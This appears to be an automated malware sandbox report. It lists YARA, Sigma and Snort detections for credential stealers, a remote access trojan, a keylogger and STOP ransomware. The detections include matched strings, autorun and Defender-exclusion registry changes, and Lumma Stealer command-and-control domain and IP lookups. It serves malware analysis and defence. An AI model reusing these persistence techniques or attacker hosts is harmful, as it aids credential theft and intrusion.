00000008.00000003.2132997569.0000000006A0F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000007.00000000.1873271965.0000000000B52000.00000002.00000001.01000000.00000008.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe PID: 6832	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Process Memory Space: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe PID: 6832	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: HXqqC3YwnKDsi7zeJNheTOoZ.exe PID: 1608	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: HXqqC3YwnKDsi7zeJNheTOoZ.exe PID: 1608	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: LLNkfgDtZiUZkTn30_sZHJcE.exe PID: 3228	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Q7vDtN_em7fitYNxQll9ewNo.exe PID: 2484	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Process Memory Space: Q7vDtN_em7fitYNxQll9ewNo.exe PID: 2484	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: H61tUtaRHb9b8i2Ptr3ABL5b.exe PID: 3004	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Process Memory Space: _vgILobA0xXbWeowDxO5iZdo.exe PID: 4460	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Process Memory Space: _vgILobA0xXbWeowDxO5iZdo.exe PID: 4460	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: DbsmJHnmNOlKFVGvWfuU03Cy.exe PID: 4192	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: DbsmJHnmNOlKFVGvWfuU03Cy.exe PID: 4192	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: DbsmJHnmNOlKFVGvWfuU03Cy.exe PID: 4192	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: FDsH_f9gemssdAs7w06vZwlL.exe PID: 4048	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: FDsH_f9gemssdAs7w06vZwlL.exe PID: 4048	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: FDsH_f9gemssdAs7w06vZwlL.exe PID: 4048	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 59 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
22.2.RegAsm.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
6.2.HXqqC3YwnKDsi7zeJNheTOoZ.exe.660000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
6.2.HXqqC3YwnKDsi7zeJNheTOoZ.exe.660000.0.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x44818:$s1: JohnDoe 0x44810:$s2: HAL9TH
12.2.DbsmJHnmNOlKFVGvWfuU03Cy.exe.4347719.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
12.2.DbsmJHnmNOlKFVGvWfuU03Cy.exe.4347719.1.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x201f0:$s1: JohnDoe 0x201e8:$s2: HAL9TH
12.2.DbsmJHnmNOlKFVGvWfuU03Cy.exe.4570000.2.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
12.2.DbsmJHnmNOlKFVGvWfuU03Cy.exe.4570000.2.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x20df0:$s1: JohnDoe 0x20de8:$s2: HAL9TH
17.2.nDCHNmvRZpJ9pfO5sjkcNCmB.exe.170000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
12.2.DbsmJHnmNOlKFVGvWfuU03Cy.exe.2500000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
12.2.DbsmJHnmNOlKFVGvWfuU03Cy.exe.2500000.0.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x201f0:$s1: JohnDoe 0x201e8:$s2: HAL9TH
12.2.DbsmJHnmNOlKFVGvWfuU03Cy.exe.2500000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
12.2.DbsmJHnmNOlKFVGvWfuU03Cy.exe.2500000.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x20df0:$s1: JohnDoe 0x20de8:$s2: HAL9TH
14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
14.3.FDsH_f9gemssdAs7w06vZwlL.exe.48f0000.0.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
11.3._vgILobA0xXbWeowDxO5iZdo.exe.5915560.1.unpack	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
14.2.FDsH_f9gemssdAs7w06vZwlL.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
14.2.FDsH_f9gemssdAs7w06vZwlL.exe.400000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
12.2.DbsmJHnmNOlKFVGvWfuU03Cy.exe.4570000.2.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
12.2.DbsmJHnmNOlKFVGvWfuU03Cy.exe.4570000.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x221f0:$s1: JohnDoe 0x221e8:$s2: HAL9TH
8.3.Q7vDtN_em7fitYNxQll9ewNo.exe.69e41a0.0.unpack	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
30.2.MSBuild.exe.400000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
30.2.MSBuild.exe.400000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
30.2.MSBuild.exe.400000.0.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x45f71:$s1: file:/// 0x45ecd:$s2: {11111-22222-10009-11112} 0x45f01:$s3: {11111-22222-50001-00000} 0x43083:$s4: get_Module 0x3d464:$s5: Reverse 0x3e148:$s6: BlockCopy 0x3d42d:$s7: ReadByte 0x45f83:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
24.2.unbmFXV_GPtCMFoyWe7JMXak.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
24.2.unbmFXV_GPtCMFoyWe7JMXak.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
24.2.unbmFXV_GPtCMFoyWe7JMXak.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.3._vgILobA0xXbWeowDxO5iZdo.exe.58efce0.2.unpack	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
7.2.LLNkfgDtZiUZkTn30_sZHJcE.exe.4566ff0.6.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
7.2.LLNkfgDtZiUZkTn30_sZHJcE.exe.4566ff0.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
7.2.LLNkfgDtZiUZkTn30_sZHJcE.exe.4566ff0.6.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x45f71:$s1: file:/// 0x45ecd:$s2: {11111-22222-10009-11112} 0x45f01:$s3: {11111-22222-50001-00000} 0x43083:$s4: get_Module 0x3d464:$s5: Reverse 0x3e148:$s6: BlockCopy 0x3d42d:$s7: ReadByte 0x45f83:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
21.2.RegAsm.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x20df0:$s1: JohnDoe 0x20de8:$s2: HAL9TH
19.2.unbmFXV_GPtCMFoyWe7JMXak.exe.21e15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
19.2.unbmFXV_GPtCMFoyWe7JMXak.exe.21e15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
19.2.unbmFXV_GPtCMFoyWe7JMXak.exe.21e15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
7.2.LLNkfgDtZiUZkTn30_sZHJcE.exe.4566ff0.6.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
7.2.LLNkfgDtZiUZkTn30_sZHJcE.exe.4566ff0.6.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
7.2.LLNkfgDtZiUZkTn30_sZHJcE.exe.4566ff0.6.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x44171:$s1: file:/// 0x440cd:$s2: {11111-22222-10009-11112} 0x44101:$s3: {11111-22222-50001-00000} 0x41283:$s4: get_Module 0x3b664:$s5: Reverse 0x3c348:$s6: BlockCopy 0x3b62d:$s7: ReadByte 0x44183:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
19.2.unbmFXV_GPtCMFoyWe7JMXak.exe.21e15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
19.2.unbmFXV_GPtCMFoyWe7JMXak.exe.21e15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
19.2.unbmFXV_GPtCMFoyWe7JMXak.exe.21e15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
14.2.FDsH_f9gemssdAs7w06vZwlL.exe.48c0e67.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
14.2.FDsH_f9gemssdAs7w06vZwlL.exe.48c0e67.1.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
14.2.FDsH_f9gemssdAs7w06vZwlL.exe.48c0e67.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
14.2.FDsH_f9gemssdAs7w06vZwlL.exe.48c0e67.1.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
12.2.DbsmJHnmNOlKFVGvWfuU03Cy.exe.4347719.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
12.2.DbsmJHnmNOlKFVGvWfuU03Cy.exe.4347719.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x20df0:$s1: JohnDoe 0x20de8:$s2: HAL9TH
5.3.8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe.5746e60.0.unpack	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
24.2.unbmFXV_GPtCMFoyWe7JMXak.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
24.2.unbmFXV_GPtCMFoyWe7JMXak.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
24.2.unbmFXV_GPtCMFoyWe7JMXak.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
14.2.FDsH_f9gemssdAs7w06vZwlL.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
14.2.FDsH_f9gemssdAs7w06vZwlL.exe.400000.0.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
7.0.LLNkfgDtZiUZkTn30_sZHJcE.exe.b50000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.3._vgILobA0xXbWeowDxO5iZdo.exe.58fed20.0.unpack	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Click to see the 51 entries

Sigma Signatures

System Summary

Sigma detected: Chromium Browser Instance Executed With Custom Extension

Source: Process started

Author: Aedan Russell, frack113, X__Junior (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension="C:\Users\user\AppData\Local\Temp\Extension", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension="C:\Users\user\AppData\Local\Temp\Extension", CommandLine|base64offset|contains: , Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe, ParentImage: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe, ParentProcessId: 3608, ParentProcessName: uyMYdkI0kpEOwxO0H1smOiYQ.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension="C:\Users\user\AppData\Local\Temp\Extension", ProcessId: 7860, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\AdobeUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\AdobeUpdaterV202.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe, ProcessId: 2484, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AdobeUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7

Sigma detected: Windows Defender Exclusions Added - Registry

Source: Registry Key set

Author: Christian Burkard (Nextron Systems): Data: Details: 1, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\BI6oo9z4In.exe, ProcessId: 6852, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{464C24AE-42EB-46F8-AFCA-F2235D92B793}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Exclusions_Extensions

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum, CommandLine: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum, ProcessId: 7104, ProcessName: svchost.exe

Snort Signatures

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:13.166000
SID:	2052775
Source Port:	49959
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:42:56.167804
SID:	2052775
Source Port:	49897
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE DNS Query to Neoreklami (service-domain .xyz) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	05/24/24-09:43:42.632425
SID:	2045700
Source Port:	63103
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:16.987583
SID:	2052775
Source Port:	49982
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:42:58.791036
SID:	2052775
Source Port:	49914
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:50.593614
SID:	2052775
Source Port:	50042
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:19.588477
SID:	2052775
Source Port:	49989
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:40.796850
SID:	2052775
Source Port:	50019
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:19.614291
SID:	2052775
Source Port:	49990
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:22.259599
SID:	2052775
Source Port:	49997
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Activity) - Source IP: 192.168.2.4 - Destination IP: 5.42.65.116

Timestamp:	05/24/24-09:42:28.818653
SID:	2046269
Source Port:	49815
Destination Port:	50500
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:57.516932
SID:	2052775
Source Port:	50057
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Activity) - Source IP: 192.168.2.4 - Destination IP: 5.42.65.116

Timestamp:	05/24/24-09:42:28.818558
SID:	2046269
Source Port:	49814
Destination Port:	50500
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:13.227137
SID:	2052775
Source Port:	49960
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:15.894859
SID:	2052775
Source Port:	49975
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:42:59.906495
SID:	2052775
Source Port:	49922
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:14.457425
SID:	2052775
Source Port:	49967
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:51.855346
SID:	2052775
Source Port:	50049
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.97.3

Timestamp:	05/24/24-09:43:11.447549
SID:	2052775
Source Port:	49949
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (employhabragaomlsp .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	05/24/24-09:43:15.489283
SID:	2052761
Source Port:	54292
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (employhabragaomlsp .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	05/24/24-09:43:05.208139
SID:	2052761
Source Port:	64208
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.97.3

Timestamp:	05/24/24-09:43:09.720460
SID:	2052775
Source Port:	49942
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:42:51.652352
SID:	2052775
Source Port:	49876
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:14.394882
SID:	2052775
Source Port:	49966
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:56.351309
SID:	2052775
Source Port:	50056
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:42:52.969864
SID:	2052775
Source Port:	49882
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:34.256691
SID:	2052775
Source Port:	50011
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (employhabragaomlsp .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	05/24/24-09:43:39.684457
SID:	2052761
Source Port:	64944
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	05/24/24-09:43:39.707111
SID:	2052775
Source Port:	50017
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.97.3

Timestamp:	05/24/24-09:43:07.345665
SID:	2052775
Source Port:	49935
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

